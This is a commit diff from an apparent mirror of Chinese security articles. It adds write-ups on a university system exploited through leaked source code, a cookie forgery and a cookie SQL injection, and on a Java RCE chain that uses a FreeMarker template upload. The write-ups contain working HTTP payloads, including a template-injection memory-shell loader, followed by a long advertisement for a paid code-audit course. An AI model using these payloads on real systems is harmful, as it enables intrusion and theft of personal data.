mirror of
https://github.com/gelusus/wxvl.git
synced 2026-10-28 19:30:54 +00:00
某JAVA系统RCE漏洞审计流程、EDUSRC证书站之源码泄露导致的10rank漏洞、渗透测试 | 近期高危逻辑漏洞挖掘实战合集 (越权漏洞 ∕ 支付漏洞 ∕ 账号接管)、
This commit is contained in:
1 parent
d5f4c1e310
commit
08734e6252
4 files changed
+873
-19
No files matched your search
@@ -20124,5 +20124,8 @@
|
||||
"https://mp.weixin.qq.com/s/DPbXhj28HYklOdZXn2YItg": "超过 1370 台 Microsoft SharePoint 服务器易受欺骗攻击,其安全漏洞已在网上曝光",
|
||||
"https://mp.weixin.qq.com/s/bo1kpWYRcHs-EwG_wvCnuA": "仅花1.5万元,就能把关键漏洞变成直接运行的网络武器",
|
||||
"https://mp.weixin.qq.com/s/izPnODoJVVJ1DclvfEYGXA": "仅花1.5万元,就能把关键漏洞变成直接运行的网络武器",
|
||||
"https://mp.weixin.qq.com/s/BThVw5FJmJUA3gk4nqOO9Q": "漏洞永远修不完,“带洞防护”成必然——奇安信发布Mythos应对白皮书"
|
||||
"https://mp.weixin.qq.com/s/BThVw5FJmJUA3gk4nqOO9Q": "漏洞永远修不完,“带洞防护”成必然——奇安信发布Mythos应对白皮书",
|
||||
"https://mp.weixin.qq.com/s/04gLX4WeFHFvqw8FCKDgPw": "某JAVA系统RCE漏洞审计流程",
|
||||
"https://mp.weixin.qq.com/s/psgLzfv78YE0cFEHnQJQZg": "EDUSRC证书站之源码泄露导致的10rank漏洞",
|
||||
"https://mp.weixin.qq.com/s/h_pGDZntBoBxxrSSjw1kVA": "渗透测试 | 近期高危逻辑漏洞挖掘实战合集 (越权漏洞 ∕ 支付漏洞 ∕ 账号接管)"
|
||||
}
|
||||
@@ -0,0 +1,88 @@
|
||||
# EDUSRC证书站之源码泄露导致的10rank漏洞
|
||||
原创 安全小生
|
||||
安全小生 安全小生 2026-04-22 15:26
|
||||
|
||||
前言:以及停更几个月了,于是有点手痒就写下这篇文章,此次站点是从微信端抓取的链接,用浏览器访问的后台链接,从而得到的一系列漏洞
|
||||
|
||||
|
||||
0x1代码审计突破登录口
|
||||
|
||||
首先面对的是一个登录框 这里放不了 因为现在系统以及下架了 找不到登录框了(就放张表情包意思一下)
|
||||
|
||||

|
||||
|
||||
弱口令尝试无果后 扫描一下后台路径 发现泄露了网站源码,都有源码了,这还说啥呢,直接开审
|
||||
|
||||

|
||||
|
||||
审到此处发现可以构造cookie绕过密码验证登入后台 并且发现此次cookie存在cookie注入
|
||||
|
||||

|
||||
|
||||
|
||||
0x2敏感信息泄露
|
||||
|
||||
这个系统是某大学的预约系统 故会有大量敏感信息泄露 这里泄露了近一万信息
|
||||
|
||||

|
||||
|
||||
0x3多处sql注入
|
||||
|
||||
总而言之有着源码,这个老网站对于我来说,也可称之为千疮百孔了
|
||||
|
||||
cookie注入还是挺少见的 所以这里就稍微展示一下
|
||||
|
||||
观察下面的cookie uid=1
|
||||
```
|
||||
POST /admin/xxxx.php?act=save HTTP/1.1
|
||||
Host:
|
||||
Content-Length: 69
|
||||
Cache-Control: max-age=0
|
||||
Origin:
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Upgrade-Insecure-Requests: 1
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7
|
||||
Referer:
|
||||
Accept-Encoding: gzip, deflate, br
|
||||
Accept-Language: zh-CN,zh;q=0.9
|
||||
Cookie: mvcode=c5hg; uName=admin; uid=1; PHPSESSID=lhr5oe0lohqrdrfi3pgocn3jr1
|
||||
Connection: keep-alive
|
||||
|
||||
```
|
||||
|
||||
其实看到这处敏感点的师傅 都会忍不住的取给它插个单引号吧
|
||||
```
|
||||
POST /admin/xxxx.php?act=save HTTP/1.1
|
||||
Host:
|
||||
Content-Length: 69
|
||||
Cache-Control: max-age=0
|
||||
Origin:
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Upgrade-Insecure-Requests: 1
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7
|
||||
Referer:
|
||||
Accept-Encoding: gzip, deflate, br
|
||||
Accept-Language: zh-CN,zh;q=0.9
|
||||
Cookie: mvcode=c5hg; uName=admin; uid=1+and+extractvalue(1,concat(0x7e,database(),0x7e))--+; PHPSESSID=lhr5oe0lohqrdrfi3pgocn3jr1
|
||||
Connection: keep-alive
|
||||
```
|
||||
|
||||
得以爆出数据库名称‘ticxxet’
|
||||
|
||||
其他的sql注入就不过多讲述了 师傅们就算没源码进了后台 那也是手到擒来的
|
||||
|
||||
因为封顶就10rank 所以只拿了十rank 那会没想着分开交 也是错失一笔rank
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
最后再提一嘴 小生我最近搞了不少cnvd证书,手上还剩几本多余的,有需要的私我
|
||||
|
||||

|
||||
|
||||
|
||||
@@ -0,0 +1,700 @@
|
||||
# 某JAVA系统RCE漏洞审计流程
|
||||
进击安全 2026-04-22 13:52
|
||||
|
||||
前言:该文章为去年的库存,一直懒得没有发,现在源码给到ai都能审出来,时代发展太快,我们都是旧时代的产物了。
|
||||
# 一、信息收集
|
||||
## 1.1 github 搜索文件
|
||||
|
||||
直接搜索网站的css或者js文件,发现有完全一模一样的
|
||||
|
||||

|
||||
## 1.2 github 搜索域名
|
||||
|
||||
在加上主域名
|
||||
|
||||

|
||||
|
||||
# 二、模板注入(组合拳)
|
||||
## 2.1 查看配置文件
|
||||
|
||||
这里查看application.yml
|
||||
```
|
||||
freemarker: template-loader-path: classpath:/webapp/ suffix: .html request-context-attribute: request allow-request-override: true cache: false check-template-location: true charset: UTF-8 content-type: text/html expose-request-attributes: true expose-session-attributes: true expose-spring-macro-helpers: true allow-session-override: true settings: tag_syntax: auto_detect template_update_delay: 1 default_encoding: UTF-8 output_encoding: UTF-8 locale: zh_CN date_format: yyyy-MM-dd time_format: HH:mm:ss datetime_format: yyyy-MM-dd HH:mm:ss auto_import: number_format: 0.## classic_compatible: true template_exception_handler: com.tjsj.fwk.mvc.interceptors.FreemarkerExceptionHandler
|
||||
```
|
||||
|
||||

|
||||
|
||||
解释一下FreeMarker 查找路径
|
||||
```
|
||||
freemarker: template-loader-path: classpath:/webapp/ suffix: .html基础路径: classpath:/webapp/+ 视图名: "templates/domain/zh_CN/pc//xx" + 后缀: ".html"= classpath:/webapp/templates/domain/zh_CN/pc//xx.html示例:视图名 "index" → classpath:/webapp/index.html视图名 "user/list" → classpath:/webapp/user/list.html
|
||||
```
|
||||
|
||||
所以这里如果把suffix: .html
|
||||
改成ftl
|
||||
后缀,而我们上传的文件是html
|
||||
后缀,他也不会执行模板内容,因为他最终的路径是.ftl
|
||||
后缀
|
||||
```
|
||||
基础路径: classpath:/webapp/+ 视图名: "templates/domain/zh_CN/pc//xx" + 后缀: ".ftl"= classpath:/webapp/templates/domain/zh_CN/pc//xx.ftl
|
||||
```
|
||||
|
||||
并且FreeMarker
|
||||
只在特定情况下激活
|
||||
```
|
||||
FreeMarker 执行的条件:- 通过 ModelAndView 或视图名返回- 经过配置的 FreeMarkerViewResolver- 在 template-loader-path 指定的目录中
|
||||
```
|
||||
|
||||
解释下ModelAndView
|
||||
作用,他是制定渲染视图名的
|
||||
|
||||

|
||||
## 2.2 文件上传
|
||||
### 2.2.1 uploadImgByAccessoryWithWeb
|
||||
|
||||
这里规定用post
|
||||
请求
|
||||
|
||||

|
||||
|
||||
url的逻辑
|
||||
```
|
||||
#定义uploadFilePath路径String uploadFilePath = "accessory"; #定义url路径:/accessory/xxxxx-xxx/#这里的File.separator是/DateFormat sdf = new SimpleDateFormat("yyyy-MM-dd"); String uri = uploadFilePath + File.separator +sdf.format(new Date())+ File.separator; #之后判断有没有type参数,如果没有就url为:/accessory/xxxxx-xxx/publish/if(StringUtils.isNotBlank(request.getParameter("type"))&&request.getParameter("type").equals("client")){ uri += "client" + File.separator; }else{ uri += "publish" + File.separator; } #这里就判断域名是否为空,然后url:/accessory/xxxxx-xxx/publish/域名/uri += request.getServerName()==null?"default":request.getServerName() + File.separator;
|
||||
```
|
||||
|
||||

|
||||
|
||||
然后看下面代码
|
||||
```
|
||||
getRealRootPath函数:返回/webapp/ 这个路径
|
||||
```
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
转入到saveFileToServer
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
之后就正常的上传文件,路径为/webapp/accessory/xxxxx-xxx/publish/域名/xxxx-xxxx.jsp
|
||||
|
||||
|
||||

|
||||
|
||||
## 2.3 模板渲染
|
||||
|
||||
之前说了ModelAndView
|
||||
这个函数是渲染模板的,那我上传一个html
|
||||
后缀的freemarker
|
||||
语法的内容,应该要用这个函数去渲染。 全局搜索ModelAndView
|
||||
,发现有两个函数createView
|
||||
和createBgView
|
||||
,其中viewName
|
||||
是可控的状态
|
||||
|
||||
|
||||

|
||||
|
||||
之后全局搜索两个函数createView
|
||||
和createBgView
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
其中发现一下路径无权限,且路径可控
|
||||
```
|
||||
detailscolumnDetailsdetailsscolumn_article_list_by_idqueryByConditionobtain_like_article_by_titleobtain_article_by_columnobtain_recruit_articleobtain_column_children_by_iduser/logoutvideolistobtain_comment_listobtain_comment_list_likeobtain_order_listobtain_order_list_likeobtain_question_by_idobtain_question_by_keywordobtain_question_listobtain_answer_by_keywordobtain_recritment_listobtain_recruit_list_likeinfo/query_infoobtain_small_content_list_likeobtain_small_content_by_id
|
||||
```
|
||||
|
||||
文件上传验证模板注入漏洞
|
||||
```
|
||||
POST x HTTP/1.1Host: xAccept-Language: zh-CN,zh;q=0.9Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflate, brCookie: HttpOnly; xConnection: keep-aliveContent-Type: multipart/form-data; boundary=----WebKitFormBoundary0vhwQhJtQDJWce7DContent-Length: 180------WebKitFormBoundary0vhwQhJtQDJWce7DContent-Disposition: form-data; name="files"; filename="1.html"Content-Type: image/jpeg<!DOCTYPE html><html><head><title>漏洞验证</title></head><body><h1>🔓 FreeMarker 模板注入验证</h1><div><h3>系统信息:</h3><p><strong>FreeMarker 版本:</strong> ${.version}</p><p><strong>当前环境:</strong> ${.now?string("yyyy-MM-dd HH:mm:ss")}</p><p><strong>时间戳:</strong> ${.now?long}</p><p><strong>输出编码:</strong> ${.output_encoding!"UTF-8"}</p></div><div style="background: #d4edda; padding: 15px; margin: 20px 0; border-radius: 5px;"><h2 style="color: #155724;">✅ 漏洞验证成功</h2><p>FreeMarker 模板注入漏洞存在!</p><p>当前时间: <strong>${.now?string("HH:mm:ss")}</strong></p></div><footer><p>测试时间: ${.now?string("yyyy年MM月dd日 HH时mm分ss秒")}</p></footer></body></html>------WebKitFormBoundary0vhwQhJtQDJWce7D
|
||||
```
|
||||
|
||||
之后在上传一个模板注入的内存马
|
||||
|
||||

|
||||
|
||||
```
|
||||
POST /upload/uploadImgByWebAccessory.htm HTTP/1.1Host: xAccept-Language: zh-CN,zh;q=0.9Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflate, brCookie: HttpOnly; xConnection: keep-aliveContent-Type: multipart/form-data; boundary=----WebKitFormBoundary0vhwQhJtQDJWce7DContent-Length: 180------WebKitFormBoundary0vhwQhJtQDJWce7DContent-Disposition: form-data; name="files"; filename="1.html"Content-Type: image/jpeg<!DOCTYPE html><html><head><title>示例页面</title></head><body><h1>${message}${"freemarker.template.utility.ObjectConstructor"?new()("javax.script.ScriptEngineManager").getEngineByName("js").eval("var classLoader = java.lang.Thread.currentThread().getContextClassLoader();try{classLoader.loadClass('注入器类名').newInstance();}catch (e){var clsString = classLoader.loadClass('java.lang.String');var bytecodeBase64 = 'Base加密的代码';var bytecode;try{var clsBase64 = classLoader.loadClass('java.util.Base64');var clsDecoder = classLoader.loadClass('java.util.Base64$Decoder');var decoder = clsBase64.getMethod('getDecoder').invoke(base64Clz);bytecode = clsDecoder.getMethod('decode', clsString).invoke(decoder, bytecodeBase64);} catch (ee) {try {var datatypeConverterClz = classLoader.loadClass('javax.xml.bind.DatatypeConverter');bytecode = datatypeConverterClz.getMethod('parseBase64Binary', clsString).invoke(datatypeConverterClz, bytecodeBase64);} catch (eee) {var clazz1 = classLoader.loadClass('sun.misc.BASE64Decoder');bytecode = clazz1.newInstance().decodeBuffer(bytecodeBase64);}}var clsClassLoader = classLoader.loadClass('java.lang.ClassLoader');var clsByteArray = (new java.lang.String('a').getBytes().getClass());var clsInt = java.lang.Integer.TYPE;var defineClass = clsClassLoader.getDeclaredMethod('defineClass', [clsByteArray, clsInt, clsInt]);defineClass.setAccessible(true);var clazz = defineClass.invoke(classLoader,bytecode,new java.lang.Integer(0),new java.lang.Integer(bytecode.length));clazz.newInstance();}")}</h1><p>当前用户数:${userCount}</p><!-- 如果message变量不存在,使用默认值 --><p>备用消息:${message!"默认消息"}</p></body></html>------WebKitFormBoundary0vhwQhJtQDJWce7D
|
||||
```
|
||||
|
||||
之后在访问路径渲染模板
|
||||
|
||||

|
||||
|
||||
```
|
||||
POST /{{file:line(/Users/qq/yakit-projects/temp/tmp2970083007.txt)}} HTTP/1.1Host:xCookie:x; Path=/Sec-Ch-Ua-Platform: "macOS"Accept-Language: zh-CN,zh;q=0.9Sec-Ch-Ua: "Not.A/Brand";v="99", "Chromium";v="136"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36Sec-Ch-Ua-Mobile: ?0Accept: */*Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brPriority: u=1Content-Type: application/x-www-form-urlencodedContent-Length: 97url=../../../accessory/x/publish/x/94746e9e-a264-46b9-b72e-a50216e7f635
|
||||
```
|
||||
|
||||
|
||||
**代码审计培训介绍&广告区域**
|
||||
|
||||
|
||||
历经四期培训,终于迎来了代码审计第五期培训,本次培训依旧一次报名一直可听,并且富含前面四期课程均可以听,先来看看之前的培训都有哪些内容,这里我给大家截屏看看。
|
||||
|
||||
|
||||

|
||||
|
||||
一、往期-第四期课程
|
||||
|
||||

|
||||
|
||||
###
|
||||
|
||||
|
||||
### 我们先来看看上一期课程内容,内容如下,给各位师傅们讲解上一期课程讲解了哪些内容,包括相关的学员出货记录,以及部分课件内容。
|
||||
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
往期-第四期基础课程
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
|
||||
###
|
||||
|
||||

|
||||
|
||||
此为第四期基础课程,共计授课四十次,此外第四期相较于第三期新增了APP、小程序、WEB逆向,同时主线仍然在代码审计上面,其中基础课程主要目的为:
|
||||
|
||||
掌握代码审计思路、完成0-1、能够独立开始审计项目
|
||||
。
|
||||
|
||||
讲解方向如下:
|
||||
|
||||
|
||||
✅ NET代码审计
|
||||
✅ APP、小程序、WEB逆向
|
||||
|
||||
✅ JAVA代码审计
|
||||
|
||||
|
||||
(当然个人认为讲的最好的是JAVA代码审计,而且此次代码审计偏向0-1的实现,更多的是讲解完漏洞原理之后小朋友带着进行实战代码审计,分析各个项目,从理论→实践的演变,当然小朋友们每个课程都是这种方式。)
|
||||
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
往期-第四期
|
||||
进阶课程
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
###
|
||||
|
||||

|
||||
|
||||
|
||||
为什么在第四期课程分为了基础课程以及进阶课程,就是因为发现学员大部分都是为了审计而去审计,单一的去使用某一个方法审计漏洞,而不会进行漏洞的组合拳,扩大危害,
|
||||
**虽然自己都是实战案例,但是发现学员都是跟着案例当中的漏洞去套用在了自己的源码\项目当中**
|
||||
。
|
||||
|
||||
所以开启了第四期进阶代码审计课程,课程目的主要为:
|
||||
|
||||
|
||||
✅
|
||||
深入理解鉴权
|
||||
|
||||
✅
|
||||
漏洞组合拳扩大危害
|
||||
|
||||
✅
|
||||
尝试0-1贴合多数学员完成前台RCE出货
|
||||
|
||||
|
||||
(本次授课累计20余次,专项针对以上目的,大量分析鉴权&绕过、组合拳利用、前台RCE)
|
||||
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
往期-第四期-部分学员报喜&课件
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
|
||||
|
||||

|
||||
|
||||
上下滑动查看更多
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**左右滑动查看更多**
|
||||
|
||||
**>**
|
||||
|
||||
那么可能会有师傅提问,为什么没有PHP呢,其实PHP也是有讲解的,只不过大部分是直接的案例,基础的PHP代码审计函数以及基础等,均放在了第三期课程当中。
|
||||
|
||||
(部分课件)
|
||||
|
||||

|
||||
|
||||
这也是为什么有的学员在报名之后,我会给他规划学习路线,先看xxx在看xxx,这些都是小朋友认为哪一期的那些内容讲的不错,然后给兄弟们总结出来的优质学习路线。
|
||||
|
||||
那么接下来我们可以看看小朋友在做了四期培训之后
|
||||
学员出货报喜时刻:
|
||||
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
往期-学员报喜时刻(部分)
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
|
||||
**左右滑动查看更多**
|
||||
|
||||
**>**
|
||||
|
||||
(其实报喜一个是为了宣传,更重要的其实每当学员来报喜的时候,都有一种成就感,最起码能够认定自己的课程是有一定价值一定性价比的,而且确实收了师傅们的钱,能够帮助到师傅们一些,自己也就更有坚持下去做培训的信心。
|
||||
|
||||
|
||||

|
||||
|
||||
二、第五期课程
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
第五期课程仍然是以代码审计为主,本次课程还是为三个语言的代码审计0-1讲解,目的为帮助学员完成0-1+1的白盒(代码审计)漏洞挖掘,并且在出货的基础上再+1去出高质量的漏洞(
|
||||
例如组合拳RCE、前台相关漏洞等)。
|
||||
|
||||
|
||||
1
|
||||
|
||||
开课时间&课程周期
|
||||
|
||||
开课时间暂定为:2026年4月3日
|
||||
|
||||
开课周期预计到:三个月左右(直播+录播)
|
||||
|
||||
**课程大纲**
|
||||
|
||||
本次课程分为PHP、JAVA、NET代码审计为直播+录播,为了照顾一些基础较为薄弱的师傅新增基础~技巧~番外(录播课程)。
|
||||
|
||||
|
||||
01
|
||||
|
||||
PHP&JAVA&NET代码审计 (直播+录播)
|
||||
|
||||
|
||||
|
||||
之前课程大纲主要为xxx实战案例,本次课程大纲着重体现思路方向,并非取消了实战部分,实战部分之多不减。
|
||||
|
||||
PHP课程目录
|
||||
|
||||
|
||||
✅
|
||||
|
||||
第一节课:多框架初识&路由认识&参数传递
|
||||
|
||||
✅
|
||||
|
||||
第二节课:多框架&鉴权分析&认证与鉴权&鉴权方式
|
||||
|
||||
✅
|
||||
|
||||
第三节课:多框架&常见漏洞函数&回显&非回显
|
||||
|
||||
✅
|
||||
|
||||
第四节课:注入漏洞&常见位置&实战审计注入类漏洞
|
||||
|
||||
✅
|
||||
|
||||
第五节课:前台RCE漏洞审计&漏洞案例技巧讲解
|
||||
|
||||
✅
|
||||
|
||||
第六节课:门户网站CMS&网络设备&审计经验讲解
|
||||
|
||||
✅
|
||||
|
||||
第七节课:多框架&鉴权对抗&权限绕过技巧&案例分析
|
||||
|
||||
✅
|
||||
|
||||
第八节课:组合拳RCE漏洞分析&漏洞组合拳利用&案例
|
||||
|
||||
✅
|
||||
|
||||
第九节课:PHP下反序列化漏洞&魔术方法&pop链分析
|
||||
|
||||
✅
|
||||
|
||||
第十节课:PHP下反序列化漏洞实战&phar协议RCE案例
|
||||
|
||||
|
||||
JAVA课程目录
|
||||
|
||||
|
||||
✅
|
||||
|
||||
第一节课:Servlet&Spring Boot&Spring MVC&Struts2
|
||||
|
||||
✅
|
||||
|
||||
第二节课:多框架下&拦截器&认证鉴权&组件鉴权分析
|
||||
|
||||
✅
|
||||
|
||||
第三节课:多框架下&权限绕过&鉴权对抗&案例分析
|
||||
|
||||
✅
|
||||
|
||||
第四节课:常见漏洞函数&案例分析&审计技巧
|
||||
|
||||
✅
|
||||
|
||||
第五节课:前台漏洞审计&组合拳rce漏洞&技巧&案例
|
||||
|
||||
✅
|
||||
|
||||
第六节课:反序列化&CC链利用&反序列化漏洞利用
|
||||
|
||||
✅
|
||||
|
||||
第七节课:
|
||||
Ognl&SpEl&EL表达式注入&漏洞案例
|
||||
|
||||
✅
|
||||
|
||||
第八节课:内存马简介&内存马原理分析&内存马注入方式
|
||||
|
||||
✅
|
||||
|
||||
第九节课:RMI&JNDI注入&JNDI注入漏洞利用&案例
|
||||
|
||||
✅
|
||||
|
||||
第十节课:组件漏洞&shiro&fastjson&log4j分析&利用
|
||||
|
||||
|
||||
.NET课程目录
|
||||
|
||||
|
||||
✅
|
||||
|
||||
第一节课:初识.NET&Web From & MVC架构框架分析
|
||||
|
||||
✅
|
||||
|
||||
第二节课:Web From&MVC框架&鉴权分析&认证方式
|
||||
|
||||
✅
|
||||
|
||||
第三节课:多框架下&鉴权对抗&权限绕过分析&案例
|
||||
|
||||
✅
|
||||
|
||||
第四节课:注入漏洞分析&文件操作类漏洞&实战分析
|
||||
|
||||
✅
|
||||
|
||||
第五节课:常见漏洞位置&前台漏洞审计&漏洞案例讲解
|
||||
|
||||
✅
|
||||
|
||||
第六节课:组合拳RCE漏洞分析&组合拳RCE案例讲解
|
||||
|
||||
✅
|
||||
第七节课:.NET反序列化漏洞初识&反序列化漏洞原理
|
||||
|
||||
✅
|
||||
第八节课:.NET安全反序列化链&反序列化触发场景
|
||||
|
||||
✅
|
||||
第九节课:.NET反序列化漏洞案例&反序列化漏洞分析
|
||||
|
||||
|
||||
02
|
||||
|
||||
基础~技巧~番外(录播)
|
||||
|
||||
|
||||
该篇章为长期更新
|
||||
|
||||
|
||||
1
|
||||
|
||||
基础篇章
|
||||
|
||||
1、
|
||||
由于之前上课时部分师傅存在一定基础,刚开始的课程部分师傅认为自己可以跟的上等问题,导致时间的浪费。
|
||||
|
||||
|
||||
2、
|
||||
同时有一定的师傅存在无法搭建源码,以及软件下载等问题,于是将这种基础问题,统一归纳为基础篇章,供师傅们学习,节省师傅们时间提升学习效率及课程质量
|
||||
|
||||
|
||||
3、同时面对部分学员频繁提出的一些问题,针对该问题同样会进行解答,并且进行录制上传至基础篇章中。
|
||||
|
||||
|
||||
2
|
||||
|
||||
技巧篇章
|
||||
|
||||
1、
|
||||
随着自己技术的进步也了解到了一些新型的技巧或者手法,例如sql注入的某一个技巧,但是重新讲解又浪费大量时间,特地新增了技巧篇章,将单独的技巧进行讲解
|
||||
。
|
||||
|
||||
|
||||
3
|
||||
|
||||
番外篇章
|
||||
|
||||
1、自己在第四期讲过一些逆向相关,并且还存在相关的一些好的案例,得到了挺多师傅的认可,例如某APP接管存储桶等案例,于是之后在有好的案例将进行上传更新。
|
||||
|
||||
**课程思维导图**
|
||||
|
||||

|
||||
|
||||
|
||||
**常见疑问&课程讲解**
|
||||
|
||||
|
||||

|
||||
|
||||
第五期课程
|
||||
收费多少?
|
||||
|
||||

|
||||
|
||||
本次课程收费仍然是
|
||||
1688,并且还是承诺一次报名后续不再进行任何二次收费保障(包含
|
||||
内部平台,
|
||||
以及后续推出一系列内容均可观看)。
|
||||
|
||||

|
||||
|
||||
什么时间段上课,上课周期是多长时间?
|
||||
|
||||

|
||||
|
||||
第五期课程【直播+录播】上课周期为
|
||||
三个月,一般集中在
|
||||
周五六日这三天,一周保持
|
||||
2~3节课,每节课
|
||||
1小时左右。
|
||||
|
||||

|
||||
|
||||
作为学员,我们都有哪些权益?
|
||||
|
||||

|
||||
|
||||
首先最关键的就是
|
||||
课程内容是可以一直学习的,同时
|
||||
内部报告平台也可进行观看,
|
||||
答疑是不限时长,不限类型方向,任何方向均可,再次同时代码审计最关键的就是源码,
|
||||
源码&课件&视频都是给兄弟们配套的,当然无聊找小朋友聊天一起打游戏也可以哦。
|
||||
|
||||

|
||||
|
||||
学完之后可以达到什么水平?
|
||||
|
||||

|
||||
|
||||
学完之后可以达到可以进行
|
||||
独立审计的水平,在面对
|
||||
php、JAVA、NET主流语言的源码,可以进行
|
||||
独立审计,
|
||||
验证漏洞,对于一些
|
||||
JAVA安全内容例如:
|
||||
反序列化,内存马等也有一定的理解,可以进行打
|
||||
反序列化漏洞、
|
||||
注入内存马等操作,同时
|
||||
PHP的反序列化、pop链,phar协议等利用也有一定理解,且此类漏洞导致RCE
|
||||
均有案例。
|
||||
|
||||

|
||||
|
||||
0基础可以学吗?
|
||||
|
||||

|
||||
|
||||
1、这是大家最常问的一个问题,
|
||||
0基础是可以的,我的代码审计课程一直秉持着
|
||||
帮助大家完成代码审计0-1的目标,同时往期(第四期)课程新增了进阶课,其目的也是帮助大家完成
|
||||
0-1出洞到0-1出有质量的漏洞。
|
||||
|
||||
|
||||
2、另外考虑到有的
|
||||
学员基础较为薄弱,本期同时也开了
|
||||
番外篇&基础篇,师傅们可以观看这块分区课程内容,此类分块课程目的就是为
|
||||
协助到一些基础比较薄弱的师傅们。
|
||||
|
||||

|
||||
|
||||
是那种读PPT拿着靶场讲解吗?
|
||||
|
||||

|
||||
|
||||
不会,课程均使用一些
|
||||
0Day&1Day&Nday优质漏洞来进行授课,且本期案例均为从
|
||||
简-难漏洞案例,深度体验代码审计当中的
|
||||
难易区分,
|
||||
完全杜绝靶场以及去读PPT的,从培训第一期开始到现在,基本为上课开始看几眼课件,
|
||||
让学员熟悉这节课的大概内容等信息,然后
|
||||
直接实操到下课,这一点也是
|
||||
我干培训五期以来一直使用的授课方式。
|
||||
|
||||

|
||||
|
||||
是否有简历修改&内推等福利?
|
||||
|
||||

|
||||
|
||||
有的兄弟,有的,
|
||||
不介意小朋友的指导简历这类的话,随时欢迎大家来骚扰我。
|
||||
|
||||

|
||||
|
||||
为什么你不新增AI方向的内容?
|
||||
|
||||

|
||||
|
||||
目前我个人认为AI可以帮助我们
|
||||
提升很大的效率,但是前提是
|
||||
AI的使用者本身要懂这个技术,才可以利用AI来
|
||||
降低该技术门槛,提升效率,
|
||||
完全自动化目前感觉还是无法做到,包括
|
||||
课程当中也会使用AI会顺带着给师傅讲了
|
||||
如何用ai来提升效率,同时如果反馈不会使用的师傅较多,会考虑后续在基础~技巧~番外来更新该方向内容。
|
||||
|
||||
|
||||
**联系方式**
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
@@ -1,21 +1,7 @@
|
||||
# 渗透测试 | 近期高危逻辑漏洞挖掘实战合集 (越权漏洞 / 支付漏洞 / 账号接管)
|
||||
原创 爱州
|
||||
爱州 州弟学安全 2026-04-20 01:39
|
||||
Z2O安全攻防 2026-04-22 13:25
|
||||
|
||||
**本篇文章共 7000字,完全阅读全篇约10分钟 州弟学安全,只学有用的知识**
|
||||
|
||||
## 前言:回归渗透,聊聊逻辑漏洞
|
||||
|
||||
**大家好,我是州弟。**
|
||||
|
||||
关注我的朋友可能知道,近一年多我一直在跟进靶场建设,最近半年也输出了大量蓝队建设和应急响应的内容。以至于不少师傅调侃,说我把渗透测试和挖洞的“老本行”给丢了。其实并没有,只是近期线下项目比较密集,我只能趁着晚上休息的时间,或者在项目推进的间隙去挖挖洞。
|
||||
|
||||
今天终于抽出时间,把近期在渗透测试中关于**逻辑漏洞**
|
||||
的一些挖掘思路和实战成果整理出来,和大家做个分享。
|
||||
|
||||

|
||||
|
||||
最近的漏洞挖掘过程中,我有一个非常直观的感受:**现在的攻防环境,和两三年前相比已经发生了质的变化。**
|
||||
**最近的漏洞挖掘过程中,我有一个非常直观的感受:****现在的攻防环境,和两三年前相比已经发生了质的变化。**
|
||||
|
||||
